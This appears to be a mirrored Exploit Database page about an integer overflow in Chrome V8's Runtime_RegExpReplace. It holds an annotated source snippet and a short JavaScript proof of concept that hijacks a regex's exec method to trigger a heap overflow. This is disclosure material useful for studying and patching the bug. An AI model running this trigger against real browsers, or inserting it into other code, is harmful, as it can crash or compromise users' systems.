Chrome V8 – ‘Runtime_RegExpReplace’ Integer Overflow

• Exploit Database
• 120 阅读

• 作者： Google Security Research
  日期： 2018-02-15
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/44084/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

  /* Here&apos;s a snippet of the method. ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, captures_length_obj, Object::ToLength(isolate, captures_length_obj)); const int captures_length = PositiveNumberToUint32(*captures_length_obj); ... if (functional_replace) { const int argc = has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a)   ScopedVector<Handle<Object>> argv(argc);   int cursor = 0; for (int j = 0; j < captures_length; j++) { argv[cursor++] = captures[j]; }   // (b) argv[cursor++] = handle(Smi::FromInt(position), isolate); argv[cursor++] = string;   The variable "captures_length" can be controlled by the user, so an integer overflow may occur at (a) which causes a heap overflow at (b).     PoC: */   let cnt = 0; let reg = /./g; reg.exec = () => { if (cnt++ == 0) return {length: 0xfffffffe};   cnt = 0; return null; };   &apos;&apos;.replace(reg, () => {});